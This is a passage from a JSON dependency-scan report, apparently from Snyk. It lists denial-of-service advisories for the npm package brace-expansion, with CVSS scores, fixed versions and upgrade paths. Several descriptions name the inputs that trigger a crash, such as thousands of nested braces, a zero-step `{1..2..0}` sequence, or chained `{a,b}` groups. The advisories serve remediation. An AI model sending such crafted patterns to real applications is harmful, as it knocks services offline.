{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
